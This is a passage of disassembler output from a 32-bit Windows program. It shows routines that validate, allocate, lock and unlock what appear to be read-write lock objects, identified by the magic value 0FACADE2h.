		mov	eax, esi
		pop	esi
		retn
sub_431B30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431BA0	proc near		; CODE XREF: sub_401852j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+14h]
		lea	ecx, [esi+4]
		neg	eax
		push	ecx
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		push	esi
		call	sub_4010C3
		add	esp, 8
		pop	esi
		retn
sub_431BA0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431BE0	proc near		; CODE XREF: sub_401F73j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	eax, eax
		jnz	short loc_431BF2
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BF2:				; CODE XREF: sub_431BE0+9j
		mov	eax, [esp+4+arg_4]
		push	ebx
		test	eax, eax
		push	edi
		jz	short loc_431C12
		cmp	dword ptr [eax], 0
		jz	short loc_431C12
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431C12:				; CODE XREF: sub_431BE0+1Aj
					; sub_431BE0+1Fj
		push	1Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431C36
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 0Ch
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431C36:				; CODE XREF: sub_431BE0+43j
		push	0
		push	esi
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_431C94
		lea	ebx, [esi+4]
		push	eax
		push	ebx
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_431C8B
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_401541
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_431CAC
		push	ebx
		call	sub_40222F
		add	esp, 4


loc_431C8B:				; CODE XREF: sub_431BE0+8Dj
		push	esi
		call	sub_40222F
		add	esp, 4


loc_431C94:				; CODE XREF: sub_431BE0+7Aj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CAC:				; CODE XREF: sub_431BE0+A0j
		mov	ecx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	eax, edi
		mov	dword ptr [esi+18h], 0FACADE2h
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
sub_431BE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431D10:				; CODE XREF: ___:004018ACj
		mov	eax, [esp+4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		xor	ebp, ebp
		test	eax, eax
		jz	loc_431E4B
		mov	esi, [eax]
		test	esi, esi
		jz	loc_431E4B
		cmp	esi, 0FFFFFFFFh
		jz	loc_431E07
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_431E4B
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_431E50
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_431D79
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431D79:				; CODE XREF: ___:00431D67j
		mov	eax, [esi+10h]
		test	eax, eax
		jg	short loc_431DED
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		cmp	eax, ecx
		jg	short loc_431DED
		push	edi
		mov	dword ptr [esi+18h], 0
		call	sub_4010C3
		add	esp, 4
		mov	ebx, eax
		test	ebx, ebx
		push	esi
		jz	short loc_431DB0
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431DB0:				; CODE XREF: ___:00431D9Fj
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	loc_431E50
		mov	ecx, [esp+14h]
		lea	edx, [esi+8]
		push	edx
		mov	[ecx], eax
		call	sub_401A91
		push	edi
		mov	ebx, eax
		call	sub_40222F
		push	esi
		mov	edi, eax
		call	sub_40222F
		push	esi
		mov	ebp, eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 10h
		jmp	short loc_431E33
; ---------------------------------------------------------------------------


loc_431DED:				; CODE XREF: ___:00431D7Ej
					; ___:00431D88j
		push	edi
		call	sub_4010C3
		push	esi
		mov	ebx, eax
		call	sub_4010C3
		add	esp, 8
		mov	edi, eax
		mov	ebp, 10h
		jmp	short loc_431E33
; ---------------------------------------------------------------------------


loc_431E07:				; CODE XREF: ___:00431D33j
		push	offset dword_50E9A0
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+14h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_431E23
		mov	dword ptr [eax], 0
		jmp	short loc_431E28
; ---------------------------------------------------------------------------


loc_431E23:				; CODE XREF: ___:00431E19j
		mov	ebx, 10h


loc_431E28:				; CODE XREF: ___:00431E21j
		push	offset dword_50E9A0
		nop
		call	near ptr 7C9010EDh


loc_431E33:				; CODE XREF: ___:00431DEBj
					; ___:00431E05j
		test	ebx, ebx
		jz	short loc_431E3E
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431E3E:				; CODE XREF: ___:00431E35j
		test	edi, edi
		mov	eax, edi
		jnz	short loc_431E50
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431E4B:				; CODE XREF: ___:00431D20j
					; ___:00431D2Aj ...
		mov	eax, 16h


loc_431E50:				; CODE XREF: ___:00431D51j
					; ___:00431DBAj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431EC0:				; CODE XREF: ___:00401E88j
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_431EE3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_431EE3:				; CODE XREF: ___:00431ED2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F10:				; CODE XREF: ___:00401794j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_431F31
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_431F31
		push	eax
		mov	[ecx], esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431F31:				; CODE XREF: ___:00431F19j
					; ___:00431F1Fj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F50:				; CODE XREF: ___:00401136j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431F6D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_431F6D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_431F6D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431F6D:				; CODE XREF: ___:00431F56j
					; ___:00431F5Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F90:				; CODE XREF: ___:0040159Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431FBA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_431FBA
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_431FAE
		test	eax, eax
		jnz	short loc_431FBA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_431FAE:				; CODE XREF: ___:00431FA5j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_431FBA:				; CODE XREF: ___:00431F96j
					; ___:00431F9Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431FD0:				; CODE XREF: ___:00402077j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43208A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43208A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432004
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432004
		cmp	eax, 10h
		jnz	loc_43208F


loc_432004:				; CODE XREF: ___:00431FECj
					; ___:00431FF9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43208A
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43208F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43207D
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_43204D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43204D:				; CODE XREF: ___:0043203Cj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43207D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43207D:				; CODE XREF: ___:0043202Aj
					; ___:0043206Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43208A:				; CODE XREF: ___:00431FD9j
					; ___:00431FE3j ...
		mov	eax, 16h


loc_43208F:				; CODE XREF: ___:00431FFEj
					; ___:0043201Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4320E0:				; CODE XREF: ___:0040169Aj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_4321AF
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4321AF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432114
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432114
		cmp	eax, 10h
		jnz	loc_4321B4


loc_432114:				; CODE XREF: ___:004320FCj
					; ___:00432109j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4321AF
		mov	ebx, [esp+14h]
		push	ebx
		push	esi
		call	sub_401BC2
		add	esp, 8
		test	eax, eax
		jnz	short loc_4321B4
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4321A2
		lea	edi, [esi+4]
		push	ebx
		push	edi
		call	sub_401BC2
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_432172
		cmp	ebx, 274Ch
		jnz	short loc_432163
		inc	dword ptr [esi+14h]


loc_432163:				; CODE XREF: ___:0043215Ej
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432172:				; CODE XREF: ___:00432156j
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4321A2
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4321A2:				; CODE XREF: ___:00432143j
					; ___:00432191j
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4321AF:				; CODE XREF: ___:004320E9j
					; ___:004320F3j ...
		mov	eax, 16h


loc_4321B4:				; CODE XREF: ___:0043210Ej
					; ___:00432133j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432200:				; CODE XREF: ___:004015C8j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_4322F6
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4322F6
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432237
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432237
		cmp	eax, 10h
		jnz	loc_4322FB


loc_432237:				; CODE XREF: ___:0043221Fj
					; ___:0043222Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4322F6
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_4322FB
		lea	ebp, [esi+4]
		push	ebp
		call	sub_402225
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43227B
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43227B:				; CODE XREF: ___:00432267j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4322EA
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_432298
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_432298:				; CODE XREF: ___:00432287j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_4322EA
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401852
		push	eax
		call	sub_401659
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_4322BB:				; CODE XREF: ___:004322D0j
		push	ebp
		push	ebx
		call	sub_401203
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_4322D2
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_4322BB


loc_4322D2:				; CODE XREF: ___:004322C9j
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		push	ecx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_4322ED
		mov	[esi+0Ch], edi


loc_4322EA:				; CODE XREF: ___:00432280j
					; ___:0043229Dj
		inc	dword ptr [esi+10h]


loc_4322ED:				; CODE XREF: ___:004322E5j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4322F6:				; CODE XREF: ___:0043220Cj
					; ___:00432216j ...
		mov	eax, 16h


loc_4322FB:				; CODE XREF: ___:00432231j
					; ___:00432251j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432360:				; CODE XREF: ___:00401951j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_432461
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432461
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432397
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432397
		cmp	eax, 10h
		jnz	loc_432466


loc_432397:				; CODE XREF: ___:0043237Fj
					; ___:0043238Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_432461
		mov	edi, [esp+20h]
		push	edi
		push	esi
		call	sub_401BC2
		add	esp, 8
		test	eax, eax
		jnz	loc_432466
		lea	ebp, [esi+4]
		push	edi
		push	ebp
		call	sub_401BC2
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_4323E1
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4323E1:				; CODE XREF: ___:004323CDj
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432455
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_4323FE
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_4323FE:				; CODE XREF: ___:004323EDj
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_432455
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401852
		push	eax
		call	sub_401659
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_432421:				; CODE XREF: ___:0043243Bj
		mov	ecx, [esp+24h]
		push	ecx
		push	ebp
		push	ebx
		call	sub_4011E0
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_43243D
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_432421


loc_43243D:				; CODE XREF: ___:00432434j
		xor	edx, edx
		test	edi, edi
		setnz	dl
		push	edx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_432458
		mov	[esi+0Ch], edi


loc_432455:				; CODE XREF: ___:004323E6j
					; ___:00432403j
		inc	dword ptr [esi+10h]


loc_432458:				; CODE XREF: ___:00432450j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432461:				; CODE XREF: ___:0043236Cj
					; ___:00432376j ...
		mov	eax, 16h


loc_432466:				; CODE XREF: ___:00432391j
					; ___:004323B6j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4324C0:				; CODE XREF: ___:004015BEj
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_432546
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_432546
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4324DC
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4324DC:				; CODE XREF: ___:004324D4j
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_432546
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432524
		lea	ebx, [esi+4]
		push	ebx
		call	sub_402225
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_432502
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432502:				; CODE XREF: ___:004324FCj
		mov	eax, [esi+14h]
		inc	eax
		mov	[esi+14h], eax
		jnz	short loc_432519
		add	esi, 8
		push	esi
		call	sub_401E51
		add	esp, 4
		mov	edi, eax


loc_432519:				; CODE XREF: ___:00432509j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		jmp	short loc_43253C
; ---------------------------------------------------------------------------


loc_432524:				; CODE XREF: ___:004324EAj
		dec	eax
		mov	[esi+10h], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4010C3
		push	esi
		mov	edi, eax
		call	sub_4010C3
		add	esp, 8


loc_43253C:				; CODE XREF: ___:00432522j
		test	edi, edi
		jz	short loc_43254B
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432546:				; CODE XREF: ___:004324C9j
					; ___:004324CFj ...
		mov	eax, 16h


loc_43254B:				; CODE XREF: ___:0043253Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432580:				; CODE XREF: ___:00401532j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43263A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43263A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4325B4
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_4325B4
		cmp	eax, 10h
		jnz	loc_43263F


loc_4325B4:				; CODE XREF: ___:0043259Cj
					; ___:004325A9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43263A
		push	esi
		call	sub_40177B
		add	esp, 4
		test	eax, eax
		jnz	short loc_43263F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43262D
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_4325FD
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4325FD:				; CODE XREF: ___:004325ECj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43262D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43262D:				; CODE XREF: ___:004325DAj
					; ___:0043261Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43263A:				; CODE XREF: ___:00432589j
					; ___:00432593j ...
		mov	eax, 16h


loc_43263F:				; CODE XREF: ___:004325AEj
					; ___:004325CAj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432690:				; CODE XREF: ___:00401FD2j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_432771
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432771
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4326C4
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_4326C4
		cmp	eax, 10h
		jnz	loc_432776


loc_4326C4:				; CODE XREF: ___:004326ACj
					; ___:004326B9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_432771
		push	esi
		call	sub_40177B
		add	esp, 4
		test	eax, eax
		jnz	loc_432776
		lea	ebx, [esi+4]
		push	ebx
		call	sub_40177B
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_432709
		push	esi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	short loc_432776
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432709:				; CODE XREF: ___:004326F4j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432759
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_432726
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_432726:				; CODE XREF: ___:00432715j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_432764
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	edi, eax
		test	edi, edi
		push	esi
		jz	short loc_43274B
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43274B:				; CODE XREF: ___:0043273Bj
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43275E


loc_432759:				; CODE XREF: ___:0043270Ej
		mov	edi, 10h


loc_43275E:				; CODE XREF: ___:00432757j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432764:				; CODE XREF: ___:0043272Bj
		mov	eax, edi
		mov	dword ptr [esi+10h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432771:				; CODE XREF: ___:00432699j
					; ___:004326A3j ...
		mov	eax, 16h


loc_432776:				; CODE XREF: ___:004326BEj
					; ___:004326DEj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4327C0:				; CODE XREF: ___:00401BF9j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_4327D7
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_4327D7:				; CODE XREF: ___:004327CFj
		mov	eax, [esp+8]
		neg	eax
		sbb	eax, eax
		and	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432800:				; CODE XREF: ___:00401E97j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432827
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_432827
		cmp	eax, 2
		jbe	short loc_432827
		mov	dword ptr [eax], 0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432827:				; CODE XREF: ___:0043280Fj
					; ___:00432817j ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432840:				; CODE XREF: ___:0040117Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		push	ebx
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432886
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_432886
		mov	esi, [edi]
		push	eax
		call	sub_40154B
		add	esp, 4
		cmp	esi, eax
		jl	short loc_432886
		push	0
		call	sub_401438
		add	esp, 4
		cmp	esi, eax
		jg	short loc_432886
		mov	eax, [ebx]
		mov	ecx, [edi]
		pop	edi
		pop	esi
		mov	[eax+10h], ecx
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432886:				; CODE XREF: ___:00432852j
					; ___:0043285Aj ...
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4328B0:				; CODE XREF: ___:00401EDDj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_4328D5
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_4328D5
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+10h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4328D5:				; CODE XREF: ___:004328C0j
					; ___:004328C8j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4328F0:				; CODE XREF: ___:004015B4j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_432909
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432909:				; CODE XREF: ___:00432900j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_43291D
